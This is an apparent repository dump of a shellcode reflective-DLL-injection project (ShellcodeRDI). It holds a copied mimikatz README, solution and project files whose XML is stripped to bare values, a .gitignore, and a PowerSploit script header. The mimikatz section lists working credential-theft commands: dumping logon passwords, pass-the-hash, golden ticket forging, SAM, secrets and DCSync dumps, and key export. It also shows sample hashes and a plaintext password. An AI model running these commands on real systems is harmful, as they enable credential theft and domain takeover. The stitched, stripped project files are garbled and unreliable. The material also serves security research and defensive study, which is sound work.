| # mimikatz 2 | 3 | **`mimikatz`** is a tool I've made to learn `C` and make somes experiments with Windows security. 4 | 5 | It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **`mimikatz`** can also perform pass-the-hash, pass-the-ticket or build _Golden tickets_. 6 | 7 | ``` 8 | .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) 9 | .## ^ ##. 10 | ## / \ ## /* * * 11 | ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 12 | '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) 13 | '#####' with 13 modules * * */ 14 | 15 | 16 | mimikatz # privilege::debug 17 | Privilege '20' OK 18 | 19 | mimikatz # sekurlsa::logonpasswords 20 | 21 | Authentication Id : 0 ; 515764 (00000000:0007deb4) 22 | Session : Interactive from 2 23 | User Name : Gentil Kiwi 24 | Domain : vm-w7-ult-x 25 | SID : S-1-5-21-1982681256-1210654043-1600862990-1000 26 | msv : 27 | [00000003] Primary 28 | * Username : Gentil Kiwi 29 | * Domain : vm-w7-ult-x 30 | * LM : d0e9aee149655a6075e4540af1f22d3b 31 | * NTLM : cc36cf7a8514893efccd332446158b1a 32 | * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 33 | tspkg : 34 | * Username : Gentil Kiwi 35 | * Domain : vm-w7-ult-x 36 | * Password : waza1234/ 37 | ... 38 | ``` 39 | But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, _yes_). 40 | 41 | If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases 42 | 43 | 44 | ## Quick usage 45 | ``` 46 | log 47 | privilege::debug 48 | ``` 49 | 50 | ### sekurlsa 51 | ``` 52 | sekurlsa::logonpasswords 53 | sekurlsa::tickets /export 54 | 55 | sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd 56 | ``` 57 | 58 | ### kerberos 59 | ``` 60 | kerberos::list /export 61 | kerberos::ptt c:\chocolate.kirbi 62 | 63 | kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi 64 | ``` 65 | 66 | ### crypto 67 | ``` 68 | crypto::capi 69 | crypto::cng 70 | 71 | crypto::certificates /export 72 | crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE 73 | 74 | crypto::keys /export 75 | crypto::keys /machine /export 76 | ``` 77 | 78 | ### vault & lsadump 79 | ``` 80 | vault::cred 81 | vault::list 82 | 83 | token::elevate 84 | vault::cred 85 | vault::list 86 | lsadump::sam 87 | lsadump::secrets 88 | lsadump::cache 89 | token::revert 90 | 91 | lsadump::dcsync /user:domain\krbtgt /domain:lab.local 92 | ``` 93 | 94 | ## Build 95 | `mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: 96 | * for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914) 97 | * _for `mimikatz driver`, `mimilove` (and `ddk2003` platform) : Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800_ 98 | 99 | `mimikatz` uses `SVN` for source control, but is now available with `GIT` too! 100 | You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =) 101 | 102 | ### Synchronize! 103 | * GIT URL is : https://github.com/gentilkiwi/mimikatz.git 104 | * SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk 105 | * ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip 106 | 107 | ### Build the solution 108 | * After opening the solution, `Build` / `Build Solution` (you can change architecture) 109 | * `mimikatz` is now built and ready to be used! (`Win32` / `x64`) 110 | * you can have error `MSB3073` about `_build_.cmd` and `mimidrv`, it's because the driver cannot be build without Windows Driver Kit **7.1** (WinDDK), but `mimikatz` and `mimilib` are OK. 111 | 112 | ### ddk2003 113 | With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies) 114 | 115 | For this optional platform, Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio **2010** are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. 116 | 117 | Follow instructions: 118 | * http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme 119 | * _http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader_ 120 | 121 | ## Licence 122 | CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ 123 | 124 | ## Author 125 | * Benjamin DELPY `gentilkiwi`, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) 126 | * DCSync function in `lsadump` module was co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) 127 | 128 | This is a **personal** development, please respect its philosophy and don't use it for bad things! -------------------------------------------------------------------------------- /ShellcodeRDI.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.16 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestDLL", "TestDLL\TestDLL.vcxproj", "{558D08E4-48B4-4E5F-94E5-5783CF0557C4}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DotNet", "DotNet\DotNet.csproj", "{FD50DEE9-91AB-4449-BA55-27C71098076B}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRDI", "ShellcodeRDI\ShellcodeRDI.vcxproj", "{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}" 11 | EndProject 12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Native", "Native\Native.vcxproj", "{68293519-3053-4AB6-921F-9690E2E1487F}" 13 | EndProject 14 | Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "Python", "Python\Python.pyproj", "{BE642266-F34D-43C3-B6E4-EEBF8E489519}" 15 | EndProject 16 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Converters", "Converters", "{F602BD8E-D2C2-4B04-85C6-292388CF1D83}" 17 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeRDITest", "ShellcodeRDITest\ShellcodeRDITest.vcxproj", "{9373BB85-6D0B-4EBB-86DF-893BA1E70675}" 18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunctionTest", "FunctionTest\FunctionTest.vcxproj", "{7E4557D4-F56B-408A-8C81-CBEE5EF25B11}" 19 | EndProject 20 | Global 21 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 22 | Debug|Win32 = Debug|Win32 23 | Debug|x64 = Debug|x64 24 | Release|Win32 = Release|Win32 25 | Release|x64 = Release|x64 26 | EndGlobalSection 27 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 28 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.ActiveCfg = Debug|Win32 29 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|Win32.Build.0 = Debug|Win32 30 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.ActiveCfg = Debug|x64 31 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Debug|x64.Build.0 = Debug|x64 32 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.ActiveCfg = Release|Win32 33 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|Win32.Build.0 = Release|Win32 34 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.ActiveCfg = Release|x64 35 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4}.Release|x64.Build.0 = Release|x64 36 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.ActiveCfg = Debug|Any CPU 37 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|Win32.Build.0 = Debug|Any CPU 38 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.ActiveCfg = Debug|Any CPU 39 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Debug|x64.Build.0 = Debug|Any CPU 40 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.ActiveCfg = Release|Any CPU 41 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|Win32.Build.0 = Release|Any CPU 42 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.ActiveCfg = Release|Any CPU 43 | {FD50DEE9-91AB-4449-BA55-27C71098076B}.Release|x64.Build.0 = Release|Any CPU 44 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.ActiveCfg = Debug|Win32 45 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|Win32.Build.0 = Debug|Win32 46 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.ActiveCfg = Debug|x64 47 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Debug|x64.Build.0 = Debug|x64 48 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.ActiveCfg = Release|Win32 49 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|Win32.Build.0 = Release|Win32 50 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.ActiveCfg = Release|x64 51 | {6FC09BDB-365F-4691-BBD9-CB7F69C9527A}.Release|x64.Build.0 = Release|x64 52 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.ActiveCfg = Debug|Win32 53 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|Win32.Build.0 = Debug|Win32 54 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.ActiveCfg = Debug|x64 55 | {68293519-3053-4AB6-921F-9690E2E1487F}.Debug|x64.Build.0 = Debug|x64 56 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.ActiveCfg = Release|Win32 57 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|Win32.Build.0 = Release|Win32 58 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.ActiveCfg = Release|x64 59 | {68293519-3053-4AB6-921F-9690E2E1487F}.Release|x64.Build.0 = Release|x64 60 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|Win32.ActiveCfg = Debug|Any CPU 61 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Debug|x64.ActiveCfg = Debug|Any CPU 62 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|Win32.ActiveCfg = Release|Any CPU 63 | {BE642266-F34D-43C3-B6E4-EEBF8E489519}.Release|x64.ActiveCfg = Release|Any CPU 64 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.ActiveCfg = Debug|Win32 65 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|Win32.Build.0 = Debug|Win32 66 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.ActiveCfg = Debug|x64 67 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Debug|x64.Build.0 = Debug|x64 68 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.ActiveCfg = Release|Win32 69 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|Win32.Build.0 = Release|Win32 70 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.ActiveCfg = Release|x64 71 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11}.Release|x64.Build.0 = Release|x64 72 | EndGlobalSection 73 | GlobalSection(SolutionProperties) = preSolution 74 | HideSolutionNode = FALSE 75 | EndGlobalSection 76 | GlobalSection(NestedProjects) = preSolution 77 | {FD50DEE9-91AB-4449-BA55-27C71098076B} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83} 78 | {68293519-3053-4AB6-921F-9690E2E1487F} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83} 79 | {BE642266-F34D-43C3-B6E4-EEBF8E489519} = {F602BD8E-D2C2-4B04-85C6-292388CF1D83} 80 | EndGlobalSection 81 | EndGlobal 82 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Oo]bj/ 24 | [Ll]og/ 25 | 26 | # Visual Studio 2015 cache/options directory 27 | .vs/ 28 | # Uncomment if you have tasks that create the project's static files in wwwroot 29 | #wwwroot/ 30 | 31 | # MSTest test Results 32 | [Tt]est[Rr]esult*/ 33 | [Bb]uild[Ll]og.* 34 | 35 | # NUNIT 36 | *.VisualState.xml 37 | TestResult.xml 38 | 39 | # Build Results of an ATL Project 40 | [Dd]ebugPS/ 41 | [Rr]eleasePS/ 42 | dlldata.c 43 | 44 | # .NET Core 45 | project.lock.json 46 | project.fragment.lock.json 47 | artifacts/ 48 | **/Properties/launchSettings.json 49 | 50 | *_i.c 51 | *_p.c 52 | *_i.h 53 | *.ilk 54 | *.meta 55 | *.obj 56 | *.pch 57 | *.pdb 58 | *.pgc 59 | *.pgd 60 | *.rsp 61 | *.sbr 62 | *.tlb 63 | *.tli 64 | *.tlh 65 | *.tmp 66 | *.tmp_proj 67 | *.log 68 | *.vspscc 69 | *.vssscc 70 | .builds 71 | *.pidb 72 | *.svclog 73 | *.scc 74 | 75 | # Chutzpah Test files 76 | _Chutzpah* 77 | 78 | # Visual C++ cache files 79 | ipch/ 80 | *.aps 81 | *.ncb 82 | *.opendb 83 | *.opensdf 84 | *.sdf 85 | *.cachefile 86 | *.VC.db 87 | *.VC.VC.opendb 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | *.sap 94 | 95 | # TFS 2012 Local Workspace 96 | $tf/ 97 | 98 | # Guidance Automation Toolkit 99 | *.gpState 100 | 101 | # ReSharper is a .NET coding add-in 102 | _ReSharper*/ 103 | *.[Rr]e[Ss]harper 104 | *.DotSettings.user 105 | 106 | # JustCode is a .NET coding add-in 107 | .JustCode 108 | 109 | # TeamCity is a build add-in 110 | _TeamCity* 111 | 112 | # DotCover is a Code Coverage Tool 113 | *.dotCover 114 | 115 | # Visual Studio code coverage results 116 | *.coverage 117 | *.coveragexml 118 | 119 | # NCrunch 120 | _NCrunch_* 121 | .*crunch*.local.xml 122 | nCrunchTemp_* 123 | 124 | # MightyMoose 125 | *.mm.* 126 | AutoTest.Net/ 127 | 128 | # Web workbench (sass) 129 | .sass-cache/ 130 | 131 | # Installshield output folder 132 | [Ee]xpress/ 133 | 134 | # DocProject is a documentation generator add-in 135 | DocProject/buildhelp/ 136 | DocProject/Help/*.HxT 137 | DocProject/Help/*.HxC 138 | DocProject/Help/*.hhc 139 | DocProject/Help/*.hhk 140 | DocProject/Help/*.hhp 141 | DocProject/Help/Html2 142 | DocProject/Help/html 143 | 144 | # Click-Once directory 145 | publish/ 146 | 147 | # Publish Web Output 148 | *.[Pp]ublish.xml 149 | *.azurePubxml 150 | # TODO: Comment the next line if you want to checkin your web deploy settings 151 | # but database connection strings (with potential passwords) will be unencrypted 152 | *.pubxml 153 | *.publishproj 154 | 155 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 156 | # checkin your Azure Web App publish settings, but sensitive information contained 157 | # in these scripts will be unencrypted 158 | PublishScripts/ 159 | 160 | # NuGet Packages 161 | *.nupkg 162 | # The packages folder can be ignored because of Package Restore 163 | **/packages/* 164 | # except build/, which is used as an MSBuild target. 165 | !**/packages/build/ 166 | # Uncomment if necessary however generally it will be regenerated when needed 167 | #!**/packages/repositories.config 168 | # NuGet v3's project.json files produces more ignorable files 169 | *.nuget.props 170 | *.nuget.targets 171 | 172 | # Microsoft Azure Build Output 173 | csx/ 174 | *.build.csdef 175 | 176 | # Microsoft Azure Emulator 177 | ecf/ 178 | rcf/ 179 | 180 | # Windows Store app package directories and files 181 | AppPackages/ 182 | BundleArtifacts/ 183 | Package.StoreAssociation.xml 184 | _pkginfo.txt 185 | 186 | # Visual Studio cache files 187 | # files ending in .cache can be ignored 188 | *.[Cc]ache 189 | # but keep track of directories ending in .cache 190 | !*.[Cc]ache/ 191 | 192 | # Others 193 | ClientBin/ 194 | ~$* 195 | *~ 196 | *.dbmdl 197 | *.dbproj.schemaview 198 | *.jfm 199 | *.pfx 200 | *.publishsettings 201 | orleans.codegen.cs 202 | 203 | # Since there are multiple workflows, uncomment next line to ignore bower_components 204 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 205 | #bower_components/ 206 | 207 | # RIA/Silverlight projects 208 | Generated_Code/ 209 | 210 | # Backup & report files from converting an old project file 211 | # to a newer Visual Studio version. Backup files are not needed, 212 | # because we have git ;-) 213 | _UpgradeReport_Files/ 214 | Backup*/ 215 | UpgradeLog*.XML 216 | UpgradeLog*.htm 217 | 218 | # SQL Server files 219 | *.mdf 220 | *.ldf 221 | *.ndf 222 | 223 | # Business Intelligence projects 224 | *.rdl.data 225 | *.bim.layout 226 | *.bim_*.settings 227 | 228 | # Microsoft Fakes 229 | FakesAssemblies/ 230 | 231 | # GhostDoc plugin setting file 232 | *.GhostDoc.xml 233 | 234 | # Node.js Tools for Visual Studio 235 | .ntvs_analysis.dat 236 | node_modules/ 237 | 238 | # Typescript v1 declaration files 239 | typings/ 240 | 241 | # Visual Studio 6 build log 242 | *.plg 243 | 244 | # Visual Studio 6 workspace options file 245 | *.opt 246 | 247 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 248 | *.vbw 249 | 250 | # Visual Studio LightSwitch build output 251 | **/*.HTMLClient/GeneratedArtifacts 252 | **/*.DesktopClient/GeneratedArtifacts 253 | **/*.DesktopClient/ModelManifest.xml 254 | **/*.Server/GeneratedArtifacts 255 | **/*.Server/ModelManifest.xml 256 | _Pvt_Extensions 257 | 258 | # Paket dependency manager 259 | .paket/paket.exe 260 | paket-files/ 261 | 262 | # FAKE - F# Make 263 | .fake/ 264 | 265 | # JetBrains Rider 266 | .idea/ 267 | *.sln.iml 268 | 269 | # CodeRush 270 | .cr/ 271 | 272 | # Python Tools for Visual Studio (PTVS) 273 | __pycache__/ 274 | *.pyc 275 | 276 | # Cake - Uncomment if you are using it 277 | # tools/** 278 | # !tools/packages.config 279 | 280 | # Telerik's JustMock configuration file 281 | *.jmconfig 282 | 283 | # BizTalk build output 284 | *.btp.cs 285 | *.btm.cs 286 | *.odx.cs 287 | *.xsd.cs 288 | -------------------------------------------------------------------------------- /FunctionTest/FunctionTest.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {7E4557D4-F56B-408A-8C81-CBEE5EF25B11} 24 | Win32Proj 25 | FunctionTest 26 | 10.0.15063.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | TESTING;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | 93 | 94 | Console 95 | 96 | 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | TESTING;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | 105 | 106 | Console 107 | 108 | 109 | 110 | 111 | Level3 112 | 113 | 114 | MaxSpeed 115 | true 116 | true 117 | TESTING;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | 119 | 120 | Console 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | 129 | 130 | MaxSpeed 131 | true 132 | true 133 | TESTING;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | 135 | 136 | Console 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /ShellcodeRDITest/ShellcodeRDITest.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {9373BB85-6D0B-4EBB-86DF-893BA1E70675} 23 | Win32Proj 24 | ShellcodeRDITest 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | NotUsing 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | 91 | 92 | Console 93 | true 94 | 95 | 96 | 97 | 98 | Use 99 | Level3 100 | Disabled 101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | 103 | 104 | Console 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | NotUsing 112 | MaxSpeed 113 | true 114 | true 115 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 116 | 117 | 118 | Console 119 | true 120 | true 121 | true 122 | 123 | 124 | 125 | 126 | Level3 127 | Use 128 | MaxSpeed 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | 133 | 134 | Console 135 | true 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | Create 153 | Create 154 | Create 155 | Create 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /Native/Native.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {68293519-3053-4AB6-921F-9690E2E1487F} 23 | Win32Proj 24 | RDIShellcodeCLoader 25 | 8.1 26 | Native 27 | 28 | 29 | 30 | Application 31 | true 32 | v140 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v140 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v140 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v140 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | MultiThreadedDebug 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe" 100 | 101 | 102 | 103 | 104 | 105 | 106 | Level3 107 | Disabled 108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | MultiThreadedDebug 110 | 111 | 112 | Console 113 | true 114 | 115 | 116 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe" 117 | 118 | 119 | 120 | 121 | Level3 122 | 123 | 124 | MaxSpeed 125 | true 126 | true 127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | 129 | 130 | Console 131 | true 132 | true 133 | true 134 | 135 | 136 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe" 137 | 138 | 139 | 140 | 141 | Level3 142 | 143 | 144 | MaxSpeed 145 | true 146 | true 147 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 148 | 149 | 150 | Console 151 | true 152 | true 153 | true 154 | 155 | 156 | copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe" 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /TestDLL/TestDLL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {558D08E4-48B4-4E5F-94E5-5783CF0557C4} 23 | Win32Proj 24 | TestDLL 25 | 8.1 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) 91 | MultiThreadedDebug 92 | 93 | 94 | Windows 95 | true 96 | 97 | 98 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll" 99 | 100 | 101 | 102 | 103 | 104 | 105 | Level3 106 | Disabled 107 | _DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) 108 | MultiThreadedDebug 109 | 110 | 111 | Windows 112 | true 113 | 114 | 115 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll" 116 | 117 | 118 | 119 | 120 | Level3 121 | 122 | 123 | MaxSpeed 124 | true 125 | true 126 | WIN32;NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) 127 | MultiThreaded 128 | 129 | 130 | Windows 131 | true 132 | true 133 | true 134 | 135 | 136 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll" 137 | 138 | 139 | 140 | 141 | Level3 142 | 143 | 144 | MaxSpeed 145 | true 146 | true 147 | NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions) 148 | MultiThreaded 149 | 150 | 151 | Windows 152 | true 153 | true 154 | true 155 | 156 | 157 | copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll" 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | false 170 | 171 | 172 | false 173 | 174 | 175 | false 176 | 177 | 178 | false 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | -------------------------------------------------------------------------------- /lib/PowerShell/Get-LibSymbols.ps1: -------------------------------------------------------------------------------- 1 | function Get-LibSymbols 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Displays symbolic information from Windows lib files. 7 | 8 | PowerSploit Function: Get-LibSymbols 9 | Author: Matthew Graeber (@mattifestation) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | Get-LibSymbols parses and returns symbols in Windows .lib files 17 | in both decorated and undecorated form (for C++ functions). 18 | 19 | .PARAMETER Path 20 | 21 | Specifies a path to one or more lib file locations. 22 | 23 | .EXAMPLE 24 | 25 | C:\PS>Get-LibSymbols -Path msvcrt.lib 26 | 27 | .EXAMPLE 28 | 29 | C:\PS>ls *.lib | Get-LibSymbols 30 | 31 | .INPUTS 32 | 33 | System.String[] 34 | 35 | You can pipe a file system path (in quotation marks) to Get-LibSymbols. 36 | 37 | .OUTPUTS 38 | 39 | COFF.SymbolInfo 40 | 41 | .LINK 42 | 43 | http://www.exploit-monday.com/ 44 | #> 45 | 